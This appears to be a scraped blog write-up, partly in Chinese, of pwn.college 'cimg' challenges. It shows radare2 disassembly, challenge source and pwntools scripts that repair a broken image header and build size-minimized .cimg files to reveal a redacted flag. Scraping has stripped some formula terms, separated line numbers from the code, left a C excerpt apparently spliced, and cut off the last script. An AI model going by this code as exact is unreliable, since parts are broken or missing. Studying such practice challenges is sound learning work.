╎│╎ 0x00401d4f 0fb64c1819 movzx ecx, byte [rax + rbx + 0x19]
╎│╎ 0x00401d54 39e9 cmp ecx, ebp
┌────< 0x00401d56 0f8e8c000000 jle 0x401de8
│╎│╎ 0x00401d5c 410fafcd imul ecx, r13d
│╎│╎ 0x00401d60 488dbc240f.. lea rdi, [rsp + 0x4000f]
│╎│╎ 0x00401d68 50 push rax
│╎│╎ 0x00401d69 ba01000000 mov edx, 1
│╎│╎ 0x00401d6e 4c8d05e103.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x402156
│╎│╎ 0x00401d75 be19000000 mov esi, 0x19 ; 25
│╎│╎ 0x00401d7a 440fb66306 movzx r12d, byte [rbx + 6]
│╎│╎ 0x00401d7f 01e9 add ecx, ebp
│╎│╎ 0x00401d81 4863c9 movsxd rcx, ecx
│╎│╎ 0x00401d84 0fb6448c1a movzx eax, byte [rsp + rcx*4 + 0x1a]
│╎│╎ 0x00401d89 50 push rax
│╎│╎ 0x00401d8a 0fb6448c21 movzx eax, byte [rsp + rcx*4 + 0x21]
│╎│╎ 0x00401d8f 50 push rax
│╎│╎ 0x00401d90 0fb6448c28 movzx eax, byte [rsp + rcx*4 + 0x28]
│╎│╎ 0x00401d95 50 push rax
│╎│╎ 0x00401d96 440fb64c8c2f movzx r9d, byte [rsp + rcx*4 + 0x2f]
│╎│╎ 0x00401d9c 31c0 xor eax, eax
│╎│╎ 0x00401d9e b919000000 mov ecx, 0x19 ; 25
│╎│╎ 0x00401da3 e8c8f3ffff call sym.imp.__snprintf_chk ;[5]
│╎│╎ 0x00401da8 428d443d00 lea eax, [rbp + r15]
│╎│╎ 0x00401dad 4883c420 add rsp, 0x20
│╎│╎ 0x00401db1 ffc5 inc ebp
│╎│╎ 0x00401db3 99 cdq
│╎│╎ 0x00401db4 0f1084240f.. movups xmm0, xmmword [rsp + 0x4000f]
│╎│╎ 0x00401dbc 41f7fc idiv r12d
│╎│╎ 0x00401dbf 450fafe6 imul r12d, r14d
│╎│╎ 0x00401dc3 428d0422 lea eax, [rdx + r12]
│╎│╎ 0x00401dc7 31d2 xor edx, edx
│╎│╎ 0x00401dc9 f7730c div dword [rbx + 0xc]
│╎│╎ 0x00401dcc 486bd218 imul rdx, rdx, 0x18
│╎│╎ 0x00401dd0 48035310 add rdx, qword [rbx + 0x10]
│╎│╎ 0x00401dd4 0f1102 movups xmmword [rdx], xmm0
│╎│╎ 0x00401dd7 488b84241f.. mov rax, qword [rsp + 0x4001f]
│╎│╎ 0x00401ddf 48894210 mov qword [rdx + 0x10], rax
│└───< 0x00401de3 e95effffff jmp 0x401d46
└────> 0x00401de8 41ffc5 inc r13d
│╎ 0x00401deb 41ffc6 inc r14d
│└─< 0x00401dee e93affffff jmp 0x401d2d
└──> 0x00401df3 488b842428.. mov rax, qword [rsp + 0x40028]
0x00401dfb 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401e04 7405 je 0x401e0b
│ 0x00401e06 e8b5f3ffff call sym.imp.__stack_chk_fail ;[1]
└─> 0x00401e0b 4881c43800.. add rsp, 0x40038
0x00401e12 5b pop rbx
0x00401e13 5d pop rbp
0x00401e14 415c pop r12
0x00401e16 415d pop r13
0x00401e18 415e pop r14
0x00401e1a 415f pop r15
0x00401e1c c3 ret
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
import struct

from pwn import *

def extract_pixels_from_elf(binary_path, num_pixels):
elf = ELF(binary_path, checksec=False)
try:
addr = elf.symbols["desired_output"]
except KeyError:
addr = 0x404020

raw = elf.read(addr, num_pixels * 24)
pixels = []
for i in range(num_pixels):
chunk = raw[i * 24 : (i + 1) * 24]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
c = chunk[19]
pixels.append((r, g, b, c))
except ValueError:
pixels.append((0, 0, 0, 32))
return pixels


def build_payload():
binary_path = "/challenge/cimg"
width = 76
height = 24
num_pixels = width * height

log.info("Fetching raw pixel data from upstream...")
pixels = extract_pixels_from_elf(binary_path, num_pixels)

fg_pixels = []
for y in range(height):
for x in range(width):
p = pixels[y * width + x]
if p[3] not in (32, 10):
fg_pixels.append(
{"x": x, "y": y, "r": p[0], "g": p[1], "b": p[2], "c": p[3]}
)

# The Monochromatic BSP Slicing (单色二叉空间分割)
memo = {}

def solve(min_x, max_x, min_y, max_y):
state = (min_x, max_x, min_y, max_y)
if state in memo:
return memo[state]

subset = [
p
for p in fg_pixels
if min_x <= p["x"] <= max_x and min_y <= p["y"] <= max_y
]
if not subset:
return 0, []

bx = min(p["x"] for p in subset)
by = min(p["y"] for p in subset)
b_w = max(p["x"] for p in subset) - bx + 1
b_h = max(p["y"] for p in subset) - by + 1

colors = set((p["r"], p["g"], p["b"]) for p in subset)

# 12 = 5 字节 (handle_3 注册头部) + 7 字节 (handle_4 渲染头部)
best_cost = 12 + b_w * b_h if len(colors) == 1 else float("inf")
best_blocks = (
[
{
"x": bx,
"y": by,
"w": b_w,
"h": b_h,
"r": subset[0]["r"],
"g": subset[0]["g"],
"b": subset[0]["b"],
"subset": subset,
}
]
if len(colors) == 1
else []
)

xs = sorted(list(set(p["x"] for p in subset)))
for split_x in xs[1:]:
c1, blks1 = solve(bx, split_x - 1, by, by + b_h - 1)
c2, blks2 = solve(split_x, bx + b_w - 1, by, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

ys = sorted(list(set(p["y"] for p in subset)))
for split_y in ys[1:]:
c1, blks1 = solve(bx, bx + b_w - 1, by, split_y - 1)
c2, blks2 = solve(bx, bx + b_w - 1, split_y, by + b_h - 1)
if c1 + c2 < best_cost:
best_cost = c1 + c2
best_blocks = blks1 + blks2

memo[state] = (best_cost, best_blocks)
return best_cost, best_blocks

log.info("Resolving dependencies and optimizing 2D bounding boxes (BSP DP)...")
_, blocks = solve(0, width - 1, 0, height - 1)
log.success(f"Reduced to {len(blocks)} highly optimized 2D blocks.")

sprites = {}
renders = []

for blk in blocks:
text = bytearray()
for y in range(blk["h"]):
for x in range(blk["w"]):
found = False
for p in blk["subset"]:
if p["x"] == blk["x"] + x and p["y"] == blk["y"] + y:
text.append(p["c"])
found = True
break
if not found:
text.append(32) # 使用空格填补空隙

sp_key = (bytes(text), blk["w"], blk["h"])
if sp_key not in sprites:
sprites[sp_key] = len(sprites)

renders.append(
{
"id": sprites[sp_key],
"x": blk["x"],
"y": blk["y"],
"r": blk["r"],
"g": blk["g"],
"b": blk["b"],
}
)

payload = bytearray()
num_directives = len(sprites) + len(renders)
payload += struct.pack("<4sHBBI", b"cIMG", 3, width, height, num_directives)

for (text, bw, bh), sp_id in sprites.items():
payload += struct.pack("<HBBB", 3, sp_id, bw, bh)
payload += text

for r in renders:
payload += struct.pack(
"<HBBBBBB", 4, r["id"], r["r"], r["g"], r["b"], r["x"], r["y"]
)

total_size = len(payload)
if total_size > 400:
log.error(f"Still bloated... ({total_size} bytes)")
return

log.success(
f"Final Size: {total_size} bytes."
)

file_name = "payload.cimg"
with open(file_name, "wb") as f:
f.write(payload)

try:
p = process([binary_path, file_name])
print(p.recvall(timeout=2).decode(errors="ignore"))
except Exception:
log.warning("Could not execute binary.")


if __name__ == "__main__":
build_payload()

pwn.college{**********************************************}

Tweaking Images

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int main(int argc, char **argv, char **envp)
{

struct cimg cimg = { 0 };
cimg.framebuffer = NULL;
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number[0] != 'c' || cimg.header.magic_number[1] != 'I' || cimg.header.magic_number[2] != 'M' || cimg.header.magic_number[3] != 'G')
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (cimg.header.version != 3)
{
puts("ERROR: Unsupported version!");
exit(-1);
}

initialize_framebuffer(&cimg);

while (cimg.header.remaining_directives--)
{
uint16_t directive_code;
read_exact(0, &directive_code, sizeof(directive_code), "ERROR: Failed to read &directive_code!", -1);

switch (directive_code)
{
case 55369:
handle_55369(&cimg);
break;
case 52965:
handle_52965(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);
}

generate a flag image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
raw_flag_lines = subprocess.check_output(["/usr/bin/figlet", "-fascii9"], input=open("/flag", "rb").read()).split(b"\n")
max_line_length = max(len(line) for line in raw_flag_lines)
flag_lines = [ line.ljust(max_line_length) for line in raw_flag_lines ]

flag_pixels = [ ]
for y,line in enumerate(flag_lines):
for x,c in enumerate(line):
flag_pixels += [ (x, y, c) ]
random.shuffle(flag_pixels)

directives = [ ]
for p in flag_pixels:
directives += [ struct.pack("<HBBBBBBBB", 2, p[0], p[1], 1, 1, 0x8c, 0x1d, 0x40, p[2]) ]

img = b"cIMG" + struct.pack("<HBBI", 3, max_line_length, 1, len(directives)) + b"".join(directives)
with open("/challenge/flag.cimg", "wb") as o:
o.write(img)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import struct

from pwn import *
from pwn import ELF, log, process

def fix_image():
img_path = "/challenge/flag.cimg"
binary_path = "/challenge/cimg"

try:
with open(img_path, "rb") as f:
broken_img = f.read()
except FileNotFoundError:
log.error(f"Cannot find {img_path}. Are you in the right environment?")
return

# 1. 解析损坏的 Header
header_format = "<4sHBBI"
header_size = struct.calcsize(header_format)

magic, version, width, height, num_directives = struct.unpack(
header_format, broken_img[:header_size]
)

# 2. 动态计算真实的 Height
real_height = num_directives // width

log.info("--- Image Header Analysis ---")
log.info(f"Magic: {magic}")
log.info(f"Version: {version}")
log.info(f"Width: {width}")
log.warning(f"Fake Height from file: {height}")
log.success(f"Calculated Real Height: {num_directives} / {width} = {real_height}")

# 3. 重新打包 Header
fixed_header = struct.pack(
header_format, magic, version, width, real_height, num_directives
)

# 4. 逐个修复 Directives
fixed_directives = bytearray()
directive_size = 10
expected_opcode = 2
fixed_opcode = 52965

offset = header_size
for i in range(num_directives):
chunk = broken_img[offset : offset + directive_size]
if len(chunk) < directive_size:
break

opcode, x, y, w, h, r, g, b, char = struct.unpack("<HBBBBBBBB", chunk)

if opcode == expected_opcode:
new_chunk = struct.pack(
"<HBBBBBBBB", fixed_opcode, x, y, w, h, r, g, b, char
)
fixed_directives += new_chunk
else:
fixed_directives += chunk

offset += directive_size

# 5. 组装修复后的镜像
fixed_img = fixed_header + fixed_directives

fixed_path = "fixed_flag.cimg"
with open(fixed_path, "wb") as f:
f.write(fixed_img)

p = process([binary_path, fixed_path], stdin=process.PTY, stdout=process.PTY)

print(p.recvall().decode(errors="ignore"))


if __name__ == "__main__":
fix_image()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
 mmmm  m     m m mm           mmm    mmm     #      #     mmm    mmmm   mmm
#" "# "m m m" #" # #" " #" "# # # #" # #" "# #" #
# # #m#m# # # # # # # # #"""" # # #""""
##m#" # # # # # "#mm" "#m#" "mm "mm "#mm" "#m"# "#mm"
# m #
" ""

m"" mmmmm m m m m m # #
# mmm # "# # mmm ## ## # m" mmm# mmmm # m
mm" #" "# #mmm#" # #" "# # ## # #m# #" "# #" "# # m"
# # # # # # # # "" # # #m # # # # #"#
# "#m#" # #mmmmm "#m#" # # # "m "#m## "#m## # "m
"" #
" """"""

mmmm mmm m m m m mmm m mmmmm
m m # "m m" " # # # # m" " mm#mm mmm mmm mmmm #
# # # # # mm #mmmm# ## #m""#m # #" # " # #" "# #
# # # # # # # # m""m # # # #"""" m"""# # # #
"mm"# #mmm" "mmm" # # m" "m #mm#" "mm "#mm" "mm"# "#m## mm#mm
#
"

mmmmmm mmm mmm mmmm m m mmmmm mmmmmm
m m m mm #" m" " m" " mmm m" "m # # # #
"m m m" #" # m# # # mm #" " # # ## """"mm #mmmmm
#m#m# # # m" # # # # # # m""m # #
# # # # ##mmmm "mmm" "mmm" "#mm" # #mm#" m" "m "mmm#" #mmmmm
#


m m mmmmmm mmmm m mm " m m mmm
mmmmm ## ##m m # # "m # m"# mmm mmm ## ## #
m" # ## #"m m m" #mmmmm # # # #" # #" " # # ## # #
m" # "" # #m#m# # # # # #mmm#m # # # "" # #
#mmmm # # # # #mmmmm #mmm" #mmmmm # "#mm" # # # mm#mm
#
""

m m ""m
mmmm mmmmm # # # #
#" "# m" " #"# # "mm
# # m" ## ##" #
"#m"# #mmmm # # #
m # ""
""

Optimizing for Space

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
// ...
int main(int argc, char **argv, char **envp)
{
struct cimg cimg = { 0 };
int won = 1;

if (argc > 1)
{
if (strcmp(argv[1]+strlen(argv[1])-5, ".cimg"))
{
printf("ERROR: Invalid file extension!");
exit(-1);
}
dup2(open(argv[1], O_RDONLY), 0);
}

read_exact(0, &cimg.header, sizeof(cimg.header), "ERROR: Failed to read header!", -1);

if (cimg.header.magic_number != 1198345851)
{
puts("ERROR: Invalid magic number!");
exit(-1);
}

if (won) win();

case 55369:
handle_55369(&cimg);
break;
case 52965:
handle_52965(&cimg);
break;
default:
fprintf(stderr, "ERROR: invalid directive_code %ux\n", directive_code);
exit(-1);
}
}
display(&cimg, NULL);

if (cimg.num_pixels != sizeof(desired_output)/sizeof(term_pixel_t))
{
won = 0;
}
for (int i = 0; i < cimg.num_pixels && i < sizeof(desired_output)/sizeof(term_pixel_t); i++)
{
if (cimg.framebuffer[i].str.c != ((term_pixel_t*)&desired_output)[i].str.c)
{
won = 0;
}
if (
cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t))
)
{
won = 0;
}
}

if (total_data > 1337) won = 0;

if (won) win();
}

notice

1
2
3
4
5
6
if (cimg.framebuffer[i].str.c != ' ' &&
cimg.framebuffer[i].str.c != '\n' &&
memcmp(cimg.framebuffer[i].data, ((term_pixel_t*)&desired_output)[i].data, sizeof(term_pixel_t)))
{
won = 0;
}

desired_output 中当前位置的字符是一个空格时触发短路不会去执行 memcmp 对比 4 字节的 RGB 数据。

  1. handle_55369 (全屏覆盖指令) pass
1
2
0x004016ff      movzx ebp, byte [rdi + 6]  ; 直接读取全局 width
0x00401703 movzx edx, byte [rdi + 7] ; 直接读取全局 height

直接用全局的宽和高,要求一次性塞入整张图片的像素流。

  1. handle_52965 (局部区块覆盖指令)
1
2
3
4
5
0x004018a8      call sym.read_exact ; 读 base_x
0x004018c4 call sym.read_exact ; 读 base_y
0x004018e0 call sym.read_exact ; 读 width
0x004018fc call sym.read_exact ; 读 height
0x00401945 call sym.read_exact ; 读 w * h * 4 个字节的 RGB 数据
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
       ;-- handle_52965:
0x0040186c f30f1efa endbr64
0x00401870 4157 push r15
0x00401872 4183c8ff or r8d, 0xffffffff ; -1
0x00401876 ba01000000 mov edx, 1
0x0040187b 488d0df108.. lea rcx, str.ERROR:_Failed_to_read_base_x_ ; 0x402173 ; "ERROR: Failed to read &base_x!"
0x00401882 4156 push r14
0x00401884 4155 push r13
0x00401886 4154 push r12
0x00401888 4989fc mov r12, rdi
0x0040188b 31ff xor edi, edi
0x0040188d 55 push rbp
0x0040188e 53 push rbx
0x0040188f 4883ec38 sub rsp, 0x38
0x00401893 64488b0425.. mov rax, qword fs:[0x28]
0x0040189c 4889442428 mov qword [rsp + 0x28], rax
0x004018a1 31c0 xor eax, eax
0x004018a3 488d74240d lea rsi, [rsp + 0xd]
0x004018a8 e8defdffff call sym.read_exact ;[1]
0x004018ad 4183c8ff or r8d, 0xffffffff ; -1
0x004018b1 31ff xor edi, edi
0x004018b3 488d74240e lea rsi, [rsp + 0xe]
0x004018b8 488d0dd308.. lea rcx, str.ERROR:_Failed_to_read_base_y_ ; 0x402192 ; "ERROR: Failed to read &base_y!"
0x004018bf ba01000000 mov edx, 1
0x004018c4 e8c2fdffff call sym.read_exact ;[1]
0x004018c9 4183c8ff or r8d, 0xffffffff ; -1
0x004018cd 31ff xor edi, edi
0x004018cf 488d74240b lea rsi, [rsp + 0xb]
0x004018d4 488d0dd608.. lea rcx, str.ERROR:_Failed_to_read_width_ ; 0x4021b1 ; "ERROR: Failed to read &width!"
0x004018db ba01000000 mov edx, 1
0x004018e0 e8a6fdffff call sym.read_exact ;[1]
0x004018e5 31ff xor edi, edi
0x004018e7 4183c8ff or r8d, 0xffffffff ; -1
0x004018eb ba01000000 mov edx, 1
0x004018f0 488d74240c lea rsi, [rsp + 0xc]
0x004018f5 488d0dd308.. lea rcx, str.ERROR:_Failed_to_read_height_ ; 0x4021cf ; "ERROR: Failed to read &height!"
0x004018fc e88afdffff call sym.read_exact ;[1]
0x00401901 0fb65c240b movzx ebx, byte [rsp + 0xb]
0x00401906 0fb654240c movzx edx, byte [rsp + 0xc]
0x0040190b 0fafda imul ebx, edx
0x0040190e 4863db movsxd rbx, ebx
0x00401911 48c1e302 shl rbx, 2
0x00401915 4889df mov rdi, rbx
0x00401918 e8e3f8ffff call sym.imp.malloc ;[2]
0x0040191d 4885c0 test rax, rax
┌─< 0x00401920 750e jne 0x401930
│ 0x00401922 488d3daa07.. lea rdi, str.ERROR:_Failed_to_allocate_memory_for_the_image_data_ ; 0x4020d3 ; "ERROR: Failed to allocate memory for the image data!"
│ 0x00401929 e842f8ffff call sym.imp.puts ;[3]
┌──< 0x0040192e eb58 jmp 0x401988
│└─> 0x00401930 89da mov edx, ebx
│ 0x00401932 4889c6 mov rsi, rax
│ 0x00401935 4183c8ff or r8d, 0xffffffff ; -1
│ 0x00401939 31ff xor edi, edi
│ 0x0040193b 488d0dc607.. lea rcx, str.ERROR:_Failed_to_read_data_ ; 0x402108 ; "ERROR: Failed to read data!"
│ 0x00401942 4889c5 mov rbp, rax
│ 0x00401945 e841fdffff call sym.read_exact ;[1]
│ 0x0040194a 0fb644240c movzx eax, byte [rsp + 0xc]
│ 0x0040194f 0fb654240b movzx edx, byte [rsp + 0xb]
│ 0x00401954 0fafd0 imul edx, eax
│ 0x00401957 31c0 xor eax, eax
│┌─> 0x00401959 39c2 cmp edx, eax
┌───< 0x0040195b 7e33 jle 0x401990
││╎ 0x0040195d 0fb64c8503 movzx ecx, byte [rbp + rax*4 + 3]
││╎ 0x00401962 48ffc0 inc rax
││╎ 0x00401965 8d71e0 lea esi, [rcx - 0x20]
││╎ 0x00401968 4080fe5e cmp sil, 0x5e ; '^' ; 94
││└─< 0x0040196c 76eb jbe 0x401959
││ 0x0040196e 488b3debd1.. mov rdi, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
││ ; [0x40eb60:8]=0
││ 0x00401975 488d15a807.. lea rdx, str.ERROR:_Invalid_character_0x_x_in_the_image_data__n ; str.ERROR:_Invalid_character_0x_x_in_the_image_data__n
││ ; 0x402124 ; "ERROR: Invalid character 0x%x in the image data!\n"
││ 0x0040197c be01000000 mov esi, 1
││ 0x00401981 31c0 xor eax, eax
││ 0x00401983 e8c8f8ffff call sym.imp.__fprintf_chk ;[4]
│└──> 0x00401988 83cfff or edi, 0xffffffff ; -1
│ 0x0040198b e8b0f8ffff call sym.imp.exit ;[5]
└───> 0x00401990 4531ed xor r13d, r13d
0x00401993 4c8d7c240f lea r15, [rsp + 0xf]
┌─> 0x00401998 0fb644240c movzx eax, byte [rsp + 0xc]
╎ 0x0040199d 4439e8 cmp eax, r13d
┌──< 0x004019a0 0f8ea7000000 jle 0x401a4d
│╎ 0x004019a6 4531f6 xor r14d, r14d
┌───> 0x004019a9 0fb64c240b movzx ecx, byte [rsp + 0xb]
╎│╎ 0x004019ae 4439f1 cmp ecx, r14d
┌────< 0x004019b1 0f8e8e000000 jle 0x401a45
│╎│╎ 0x004019b7 0fb644240d movzx eax, byte [rsp + 0xd]
│╎│╎ 0x004019bc 0fb65c240e movzx ebx, byte [rsp + 0xe]
│╎│╎ 0x004019c1 410fafcd imul ecx, r13d
│╎│╎ 0x004019c5 4c89ff mov rdi, r15
│╎│╎ 0x004019c8 410fb6742406 movzx esi, byte [r12 + 6]
│╎│╎ 0x004019ce 4c8d058107.. lea r8, str.e_38_2__03d__03d__03dm_ce_0m ; 0x402156
│╎│╎ 0x004019d5 4401f0 add eax, r14d
│╎│╎ 0x004019d8 4401eb add ebx, r13d
│╎│╎ 0x004019db 99 cdq
│╎│╎ 0x004019dc 0fafde imul ebx, esi
│╎│╎ 0x004019df 4401f1 add ecx, r14d
│╎│╎ 0x004019e2 41ffc6 inc r14d
│╎│╎ 0x004019e5 f7fe idiv esi
│╎│╎ 0x004019e7 4863c9 movsxd rcx, ecx
│╎│╎ 0x004019ea be19000000 mov esi, 0x19 ; 25
│╎│╎ 0x004019ef 488d448d00 lea rax, [rbp + rcx*4]
│╎│╎ 0x004019f4 b919000000 mov ecx, 0x19 ; 25
│╎│╎ 0x004019f9 01d3 add ebx, edx
│╎│╎ 0x004019fb 52 push rdx
│╎│╎ 0x004019fc 0fb65003 movzx edx, byte [rax + 3]
│╎│╎ 0x00401a00 52 push rdx
│╎│╎ 0x00401a01 0fb65002 movzx edx, byte [rax + 2]
│╎│╎ 0x00401a05 52 push rdx
│╎│╎ 0x00401a06 0fb65001 movzx edx, byte [rax + 1]
│╎│╎ 0x00401a0a 52 push rdx
│╎│╎ 0x00401a0b 440fb608 movzx r9d, byte [rax]
│╎│╎ 0x00401a0f ba01000000 mov edx, 1
│╎│╎ 0x00401a14 31c0 xor eax, eax
│╎│╎ 0x00401a16 e835f7ffff call sym.imp.__snprintf_chk ;[6]
│╎│╎ 0x00401a1b 89d8 mov eax, ebx
│╎│╎ 0x00401a1d 31d2 xor edx, edx
│╎│╎ 0x00401a1f 410f1007 movups xmm0, xmmword [r15]
│╎│╎ 0x00401a23 41f774240c div dword [r12 + 0xc]
│╎│╎ 0x00401a28 4883c420 add rsp, 0x20
│╎│╎ 0x00401a2c 486bd218 imul rdx, rdx, 0x18
│╎│╎ 0x00401a30 4903542410 add rdx, qword [r12 + 0x10]
│╎│╎ 0x00401a35 0f1102 movups xmmword [rdx], xmm0
│╎│╎ 0x00401a38 498b4710 mov rax, qword [r15 + 0x10]
│╎│╎ 0x00401a3c 48894210 mov qword [rdx + 0x10], rax
│└───< 0x00401a40 e964ffffff jmp 0x4019a9
└────> 0x00401a45 41ffc5 inc r13d
│└─< 0x00401a48 e94bffffff jmp 0x401998
└──> 0x00401a4d 488b442428 mov rax, qword [rsp + 0x28]
0x00401a52 6448330425.. xor rax, qword fs:[0x28]
┌─< 0x00401a5b 7405 je 0x401a62
│ 0x00401a5d e82ef7ffff call sym.imp.__stack_chk_fail ;[7]
└─> 0x00401a62 4883c438 add rsp, 0x38
  1. Overhead (指令头开销): * 指令代码:假设 2 bytes (比如 0xCEE5 对应 52965)
  • base_x: 1 byte
  • base_y: 1 byte
  • width: 1 byte
  • height: 1 byte
  • Total Overhead 6 bytes
  1. Payload (像素数据开销):
  • 每个像素 4 bytes (W × H × 4)

所以,一个区块的总字节数计算公式为:

Cost = 6 + 4 × W × H

假设有两个孤立的像素点,中间隔了 k 个空白(背景)像素。

  • 如果不合并(打两个补丁): Cost = (6 + 4 × 1) × 2 = 20 bytes。
  • 如果合并成一个大矩形: Cost = 6 + 4 × (2 + k) = 14 + 4k bytes。

我们让 14 + 4k < 20,解得 k < 1.5

只有当两个有效像素之间最多只隔了 1 个空白像素时,把它们框在一起。

带权重 Set Cover 算法

  1. 提取前景: 遍历 desired_output,把所有非 ' ' 和非 '\n' 的像素坐标抓出来。
  2. 生成候选框: 找出所有能框住至少一个前景像素的矩形。
  3. 计算净收益 (Net Profit): 对于每个候选矩形,它的存在意义是帮你省掉了“将这些前景像素单独画出来”的 Overhead。

Profit = ( × 6) − ( × 4) − 6

  1. 贪心选择: 每次选出 Profit 最高的矩形,将其加入 payload 列表,并从目标集合中剔除已覆盖的像素,直到所有前景像素都被覆盖。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
import struct

from pwn import *

def extract_pixels_from_elf(binary_path, num_pixels):
elf = ELF(binary_path, checksec=False)
try:
addr = elf.symbols["desired_output"]
except KeyError:
addr = 0x404020

raw = elf.read(addr, num_pixels * 24)
pixels = []
for i in range(num_pixels):
chunk = raw[i * 24 : (i + 1) * 24]
try:
r = int(chunk[7:10])
g = int(chunk[11:14])
b = int(chunk[15:18])
c = chunk[19]
pixels.append((r, g, b, c))
except ValueError:
pass
return pixels


def build_payload():
binary_path = "/challenge/cimg"
num_pixels = 1824
width = 76
height = 24

pixels = extract_pixels_from_elf(binary_path, num_pixels)
if len(pixels) != num_pixels:
log.error("Failed to extract full image.")
return

# 1. 提取所有前景像素
fg_pixels = set()
for y in range(height):
for x in range(width):
p = pixels[y * width + x]
if p[3] not in (32, 10): # 过滤空格和换行 32 -> 0x20, 10 -> 0x0a
fg_pixels.add((x, y))

log.info(f"Targeting {len(fg_pixels)} foreground pixels.")

# 2. 生成所有有价值的候选框 (Candidate Rectangles)
candidates = []
for x1 in range(width):
for y1 in range(height):
for x2 in range(x1, width):
for y2 in range(y1, height):
# 快速找出框内的前景像素
cov = {
(x, y)
for x in range(x1, x2 + 1)
for y in range(y1, y2 + 1)
if (x, y) in fg_pixels
}
if not cov:
continue

cost = 6 + 4 * (x2 - x1 + 1) * (y2 - y1 + 1)
# 核心过滤:如果平均成本 > 10 (即不如单独 1x1 划算),直接抛弃
if cost <= 10 * len(cov):
candidates.append(
{
"rect": (x1, y1, x2 - x1 + 1, y2 - y1 + 1),
"cost": cost,
"cov": cov,
}
)

# 3. 策略A: 基于性价比 (Cost / Covered) 的贪心算法
uncovered_a = set(fg_pixels)
blocks_a = []
size_a = 12
while uncovered_a:
best_cand = None
best_ratio = float("inf")
for c in candidates:
cov_now = c["cov"].intersection(uncovered_a)
if not cov_now:
continue
ratio = c["cost"] / len(cov_now)
if ratio < best_ratio or (
ratio == best_ratio
and len(cov_now)
> (len(best_cand["cov"].intersection(uncovered_a)) if best_cand else 0)
):
best_ratio = ratio
best_cand = c

assert best_cand is not None, "Failed to find best candidate"
blocks_a.append(best_cand["rect"])
uncovered_a -= best_cand["cov"]
size_a += best_cand["cost"]

# 4. 策略B: 基于绝对收益 (Profit) 的贪心算法 (作为 baseline 对照)
uncovered_b = set(fg_pixels)
blocks_b = []
size_b = 12
while uncovered_b:
best_cand = None
best_profit = -float("inf")
for c in candidates:
cov_now = c["cov"].intersection(uncovered_b)
if not cov_now:
continue
profit = len(cov_now) * 10 - c["cost"]
if profit > best_profit or (
profit == best_profit
and len(cov_now)
> (len(best_cand["cov"].intersection(uncovered_b)) if best_cand else 0)
):
best_profit = profit
best_cand = c

assert best_cand is not None, "Failed to find best candidate"
blocks_b.append(best_cand["rect"])
uncovered_b -= best_cand["cov"]
size_b += best_cand["cost"]

log.info(f"Strategy A (Ratio) estimated size: {size_a} bytes")
log.info(f"Strategy B (Profit) estimated size: {size_b} bytes")

best_blocks = blocks_a if size_a < size_b else blocks_b
log.success(
f"The minimal set of {len(best_blocks)} blocks."
)

# 5. 组装 Payload
directives_payload = bytearray()
